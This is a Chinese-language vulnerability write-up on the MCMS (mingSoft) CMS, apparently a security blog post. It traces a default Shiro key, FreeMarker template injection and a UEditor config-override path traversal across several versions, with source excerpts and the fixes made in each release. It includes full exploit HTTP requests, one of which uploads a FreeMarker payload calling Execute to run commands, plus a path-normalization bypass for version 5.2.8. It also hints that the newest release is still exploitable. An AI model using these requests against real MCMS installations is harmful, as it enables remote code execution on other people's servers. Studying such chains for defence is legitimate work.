又又又是一个属性覆盖带来的漏洞 想到最近出了好几个与属性覆盖有关的漏洞,突然想到有一个国产系统也曾经出过这类问题,比较有趣这里简单分享一下,希望把一些东西串起来分享方便学到一些东西
前后端框架信息梳理 首先简单从官网可以看出所使用的框架信息以及技术选型
https://gitee.com/mingSoft/MCMS?_from=gitee_search
我们主要关注几个点一个是shiro,一个是freemarker,还有就是具体的一些未鉴权的功能点,同时支持两种部署方式jar/war
关于路由的说明,在启动类当中,指出了扫描的包名前缀为net.mingsoft
1 2 3 4 5 6 7 8 @SpringBootApplication(scanBasePackages = {"net.mingsoft"}) @MapperScan(basePackages={"**.dao","com.baomidou.**.mapper"}) @ServletComponentScan(basePackages = {"net.mingsoft"}) public class MSApplication { public static void main (String[] args) { SpringApplication.run(MSApplication.class, args); } }
因此与路由相关函数只会出现在三个地方
源目录下 ms-basic依赖包下 ms-mdiy依赖包下 这个系统曾出现过很多漏洞,各类后台文件上传利用,注入、任意文件删除等等,但其实都比较鸡肋不适合学习
Shiro反序列化(版本<=5.2.8 ) 在开始前先简单我们知道shiro的版本高低只是加密方式的改变,实际上反序列化漏洞依然存在,如果系统使用了默认的key那也是存在潜在风险的,而恰好在MCMS<=5.2.8版本下都使用了默认的key,使用这个key生成payload,直接打CB链即可
接下来我们重点看另一个漏洞
前台模板SSTIRCE利用史 接下来我们看另一个漏洞,和模板相关的漏洞
因为这里的模板渲染使用了freemarker
,我们便有两个思路:
版本是否在漏洞版本 写法是否安全 在MCMS中关于模板的渲染处理,是通过封装了一个工具类做的处理,在依赖包ms-mdiy
中的net.mingsoft.mdiy.util.ParserUtil#rendering
做处理
MCMS是在5.1版本开始使用freemarker
做模板渲染,并且版本一直没有改变过,传家宝"2.3.31"
对于freemarker的模板,通常是通过api与new进行的利用,当然也有利用限制
对于内置函数api
api_builtin_enabled
为true
时才可使用api函数,而该配置在2.3.22版本之后默认为false
对于内置函数new
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor
这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor
这三个类的解析
尽管MCMS的漏洞版本比较高,但是他在5.8版本以下并未对内置函数new做严格限制,具体我们可以看看net.mingsoft.mdiy.util.ParserUtil#rendering
1 2 3 4 5 6 7 8 9 10 11 public static String rendering (Map root, String content) throws IOException, TemplateException { Configuration cfg = new Configuration(Configuration.VERSION_2_3_0); StringTemplateLoader stringLoader = new StringTemplateLoader(); stringLoader.putTemplate("template" , content); cfg.setNumberFormat("#" ); cfg.setTemplateLoader(stringLoader); Template template = cfg.getTemplate("template" , "utf-8" ); StringWriter writer = new StringWriter(); template.process(root, writer); return writer.toString(); }
虽然在freemarker版本在较安全的版本,但并未配置new-builtin-class-resolver,因此接下来我们只需要找到调用的点即可
在高版本后5.2.9,开发者终于意识到这个问题,设置了cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
回到正题,这里我们先从较低的版本说起,以5.2.5来做例子
V<=5.2.5 首先是一个能任意控制模板渲染的函数
这个路由非常好找,就在源码路径下为数不多不是CRUD功能的类中net.mingsoft.cms.action.web.MCmsAction#search
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @RequestMapping(value = "search",method = {RequestMethod.GET, RequestMethod.POST}) @ResponseBody public String search (HttpServletRequest request, HttpServletResponse response) { String search = BasicUtil.getString("tmpl" , "search.htm" ); ............ String content = "" ; try { content = ParserUtil.rendering(search, params); } catch (TemplateNotFoundException e) { e.printStackTrace(); } catch (MalformedTemplateNameException e) { e.printStackTrace(); } catch (ParseException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return content; }
可以这里通过tmpl
参数能实现渲染文件的完全控制,但是
在ParserUtil.getPageSize(search, 20)
当中我们会发现,其读取文件过程中使用了hutool
的FileUtil.file
,在这个第三方工具类使用了checkSlip防止目录穿越,因此非常可惜我们现在能渲染任意路径下的文件了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static File checkSlip (File parentFile, File file) throws IllegalArgumentException { if (null != parentFile && null != file) { String parentCanonicalPath; String canonicalPath; try { parentCanonicalPath = parentFile.getCanonicalPath(); canonicalPath = file.getCanonicalPath(); } catch (IOException var5) { throw new IORuntimeException(var5); } if (!canonicalPath.startsWith(parentCanonicalPath)) { throw new IllegalArgumentException("New file is outside of the parent dir: " + file.getName()); } } return file; }
那要想实现,那必须找到一个能够控制任意路径上传,或者能够配合目录穿越跳转的上传点,这个系统中正好就有,在net.mingsoft.basic.action.web.EditorAction#editor
中,参数传入后交给了MsUeditorActionEnter
类继续处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public String editor (HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String rootPath = BasicUtil.getRealPath("" ); File saveFloder = new File(this .uploadFloderPath); if (saveFloder.isAbsolute()) { rootPath = saveFloder.getPath(); jsonConfig = jsonConfig.replace("{ms.upload}" , "" ); } else { jsonConfig = jsonConfig.replace("{ms.upload}" , "/" + this .uploadFloderPath); } String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("" ))).exec(); if (saveFloder.isAbsolute()) { Map data = (Map)JSON.parse(json); data.put("url" , this .uploadMapping.replace("/**" , "" ) + data.get("url" )); return JSON.toJSONString(data); } else { return json; } } public MsUeditorActionEnter (HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super (request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("" ) && jsonConfig.length() >= 0 ) { this .setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this .getConfigManager(); setValue(config, "rootPath" , rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while (iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } }
在初始化过程中,先初始化了父类,这里可以看到,actionType
受我们传入的参数控制,这个参数决定了方法的调用
1 2 3 4 5 6 7 public ActionEnter (HttpServletRequest request, String rootPath) { this .request = request; this .rootPath = rootPath; this .actionType = request.getParameter("action" ); this .contextPath = request.getContextPath(); this .configManager = ConfigManager.getInstance(this .rootPath, this .contextPath, request.getRequestURI()); }
接下来回到MsUeditorActionEnter
构造函数处理过程,紧接着调用了this.getConfigManager()
初始化一些上传配置,而这个配置来源于文件static/plugins/ueditor/1.4.3.3/jsp/config.json
,这个配置文件对上传做了限制,包括保存文件路径模板、大小、允许的后缀等,感兴趣的可以自己看看这个初始化过程,因为不太关键这里就不多叙述
在这里可以看到存在一个参数覆盖的问题(jsonConfig来源于web参数),可以由自定义的输入覆盖默认配置,具体覆盖什么配置待会儿会说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public MsUeditorActionEnter (HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super (request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("" ) && jsonConfig.length() >= 0 ) { this .setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this .getConfigManager(); setValue(config, "rootPath" , rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while (iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } }
接下来初始化后调用exec方法,这里callback是否传入对我们不是很重要,继续看invoke方法
根据我们之前传入的actionType决定走入哪个分支
可以看到一共有8种类型,对应了不同的漏洞点,因为我们只关心RCE
,所以这里就以上传为例,选择uploadfile
1 2 3 4 5 6 7 8 this .put("config" , 0 );this .put("uploadimage" , 1 );this .put("uploadscrawl" , 2 );this .put("uploadvideo" , 3 );this .put("uploadfile" , 4 );this .put("catchimage" , 5 );this .put("listfile" , 6 );this .put("listimage" , 7 );
在之后调用(new Uploader(this.request, conf)).doExec()
做处理,这里的参数走向我们同样不在乎随便选择一个即可
1 2 3 4 5 6 7 8 9 10 11 public final State doExec () { String filedName = (String)this .conf.get("fieldName" ); State state = null ; if ("true" .equals(this .conf.get("isBase64" ))) { state = Base64Uploader.save(this .request.getParameter(filedName), this .conf); } else { state = BinaryUploader.save(this .request, this .conf); } return state; }
省略其中的不关键的部分,这里我们只需要关注最终保存路径的生成即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... String savePath = (String)conf.get("savePath" ); String originFileName = fileStream.getName(); String suffix = FileType.getSuffixByFilename(originFileName); originFileName = originFileName.substring(0 , originFileName.length() - suffix.length()); savePath = savePath + suffix; long maxSize = (Long)conf.get("maxSize" );if (!validType(suffix, (String[])((String[])conf.get("allowFiles" )))) { return new BaseState(false , 8 ); } else { savePath = PathFormat.parse(savePath, originFileName); String physicalPath = (String)conf.get("rootPath" ) + savePath; InputStream is = fileStream.openStream(); State storageState = StorageManager.saveFileByInputStream(is, physicalPath, maxSize); is.close(); if (storageState.isSuccess()) { storageState.putInfo("url" , PathFormat.format(savePath)); storageState.putInfo("type" , suffix); storageState.putInfo("original" , originFileName + suffix); } } ...
从配置获取保存的路径 从Multipart解析文件后缀拼接 使用PathFormat.parse处理替换模板标签内容 与根路径拼接并写入文件 在com.baidu.ueditor.PathFormat#parse
的处理过程当中会对filename中字符做替换,导致/
字符丢失因此不能从filename控制路径的穿越
1 filename = filename.replace("$" , "\\$" ).replaceAll("[\\/:*?\"<>|]" , "" );
因此我们只能通过控制savePath
实现完整的路径控制(还记得么,上面一开始提到过可以做参数覆盖),对于我们的uploadfile的action,对应的savepath属性为filePathFormat,因此构造,当然也可以覆盖其他属性参数这里不重复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Ps:{{url()}是yakit的url编码的标签 POST /static /plugins/ueditor/1.4 .3 .3 /jsp/editor.do ?jsonConfig={{url({filePathFormat:'/template/1/default/2' })}}&action=uploadfile HTTP/1.1 Host: 127.0 .0 .1 :8079 Accept: *
V<=5.2.8 接下来我们看看开发是如何修复这个问题的,这里我的环境是5.2.8,这一次开发意识到了问题所在,做了两个步骤的修复
rootPath由程序控制在必须为upload目录下 对每一个路径配置做了一次路径归一化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public String editor (HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String uploadFloderPath = MSProperties.upload.path; String rootPath = BasicUtil.getRealPath(uploadFloderPath); jsonConfig = jsonConfig.replace("{ms.upload}" , "/" + uploadFloderPath); Map<String, Object> map = (Map)JSONObject.parse(jsonConfig); String imagePathFormat = (String)map.get("imagePathFormat" ); imagePathFormat = FileUtil.normalize(imagePathFormat); String filePathFormat = (String)map.get("filePathFormat" ); filePathFormat = FileUtil.normalize(filePathFormat); String videoPathFormat = (String)map.get("videoPathFormat" ); videoPathFormat = FileUtil.normalize(videoPathFormat); map.put("imagePathFormat" , imagePathFormat); map.put("filePathFormat" , filePathFormat); map.put("videoPathFormat" , videoPathFormat); jsonConfig = JSONObject.toJSONString(map); MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("" )); String json = actionEnter.exec(); Map jsonMap = (Map)JSON.parseObject(json, Map.class); jsonMap.put("url" , "/" .concat(uploadFloderPath).concat(jsonMap.get("url" ) + "" )); return JSONObject.toJSONString(jsonMap); }
那是不是就没办法了呢?请独立思考三分钟
之前提到了在PathFormat.parse
当中,有对最终路径当中的模板做替换(当然这里和老版本的逻辑不一样,简化了很多,分析时以当前版本为准,有兴趣可以看看老版),可以看到会取{xxx}中的内容,之后调用getString做替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static String parse (String input, String filename) { Pattern pattern = Pattern.compile("\\{([^\\}]+)\\}" , 2 ); Matcher matcher = pattern.matcher(input); String matchStr = null ; currentDate = new Date(); StringBuffer sb = new StringBuffer(); while (matcher.find()) { matchStr = matcher.group(1 ); if (matchStr.indexOf("filename" ) != -1 ) { filename = filename.replace("$" , "\\$" ).replaceAll("[\\/:*?\"<>|]" , "" ); matcher.appendReplacement(sb, filename); } else { matcher.appendReplacement(sb, getString(matchStr)); } } matcher.appendTail(sb); return sb.toString(); }
可以看到如果字符不在当前的case当中会直接返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static String getString (String pattern) { pattern = pattern.toLowerCase(); if (pattern.indexOf("time" ) != -1 ) { return getTimestamp(); } else if (pattern.indexOf("yyyy" ) != -1 ) { return getFullYear(); } else if (pattern.indexOf("yy" ) != -1 ) { return getYear(); } else if (pattern.indexOf("mm" ) != -1 ) { return getMonth(); } else if (pattern.indexOf("dd" ) != -1 ) { return getDay(); } else if (pattern.indexOf("hh" ) != -1 ) { return getHour(); } else if (pattern.indexOf("ii" ) != -1 ) { return getMinute(); } else if (pattern.indexOf("ss" ) != -1 ) { return getSecond(); } else { return pattern.indexOf("rand" ) != -1 ? getRandom(pattern) : pattern; } }
有了这个思路我们便可以构造如下payload绕过校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Ps:{{url()}是yakit的url编码的标签 POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={filePathFormat:'/{.}./template/1/default/2'}&action=uploadfile HTTP/1.1 Host: 127.0.0.1:8080Accept : */*Accept-Encoding : gzip, deflateConnection : closeContent-Length : 362Content-Type : multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXAUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X_Requested_With: UTF-8 --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA Content-Disposition: form-data; name ="upload" ; filename ="1.txt" <#assign value ="freemarker.template.utility.Execute" ?new()>${value("open -na Calculator" )} --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--
V<=5.3.5(目前最新版) 首先来看最新版做了哪些变动
在最外层做了jsonConfig判断内容(似乎也没修复什么) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public String editor (HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String uploadFolderPath = MSProperties.upload.path; boolean enableWeb = MSProperties.upload.enableWeb; if (!enableWeb) { HashMap<String, String> map = new HashMap(); map.put("state" , "front end upload is not enabled" ); return JSONUtil.toJsonStr(map); } else { String rootPath = BasicUtil.getRealPath(uploadFolderPath); jsonConfig = jsonConfig.replace("{ms.upload}" , "/" + uploadFolderPath); Map<String, Object> map = (Map)JSONUtil.toBean(jsonConfig, Map.class); String imagePathFormat = (String)map.get("imagePathFormat" ); imagePathFormat = FileUtil.normalize(imagePathFormat); String filePathFormat = (String)map.get("filePathFormat" ); filePathFormat = FileUtil.normalize(filePathFormat); String videoPathFormat = (String)map.get("videoPathFormat" ); videoPathFormat = FileUtil.normalize(videoPathFormat); map.put("imagePathFormat" , imagePathFormat); map.put("filePathFormat" , filePathFormat); map.put("videoPathFormat" , videoPathFormat); jsonConfig = JSONUtil.toJsonStr(map); if (jsonConfig == null || !jsonConfig.contains("../" ) && !jsonConfig.contains("..\\" )) { MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("" )); String json = actionEnter.exec(); Map jsonMap = (Map)JSONUtil.toBean(json, Map.class); jsonMap.put("url" , "/" .concat(uploadFolderPath).concat(jsonMap.get("url" ) + "" )); return JSONUtil.toJsonStr(jsonMap); } else { throw new BusinessException(BundleUtil.getString("net.mingsoft.base.resources.resources" , "err.error" , new String[]{BundleUtil.getString("net.mingsoft.basic.resources.resources" , "file.path" , new String[0 ])})); } } }
禁止通过属性覆盖修改允许的后缀(我估计开发以为模板引擎必须要htm后缀才行了,忘记他自己写的函数是可以随意指定后缀了2333),以及文件读取相关属性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public MsUeditorActionEnter (HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super (request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("" ) && jsonConfig.length() >= 0 ) { this .setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this .getConfigManager(); setValue(config, "rootPath" , rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); _jsonConfig.remove("fileManagerAllowFiles" ); _jsonConfig.remove("imageManagerAllowFiles" ); _jsonConfig.remove("catcherAllowFiles" ); _jsonConfig.remove("imageAllowFiles" ); _jsonConfig.remove("fileAllowFiles" ); _jsonConfig.remove("videoAllowFiles" ); _jsonConfig.remove("imageManagerListPath" ); _jsonConfig.remove("fileManagerListPath" ); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while (iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } }
引擎解析测 设置禁止加载任意类
1 cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER)
但这样并不能完全修复问题,可以参考辅助学习(https://www.cnblogs.com/escape-w/p/17326592.html),虽然这个项目不存在这些问题就是了
那么如何才能rce呢?提示一下,我们知道此时文件上传其实仍然能够跨目录写的,那么只能从白名单中受限的后缀入手,发挥你的想象,这里就不直接给出答案了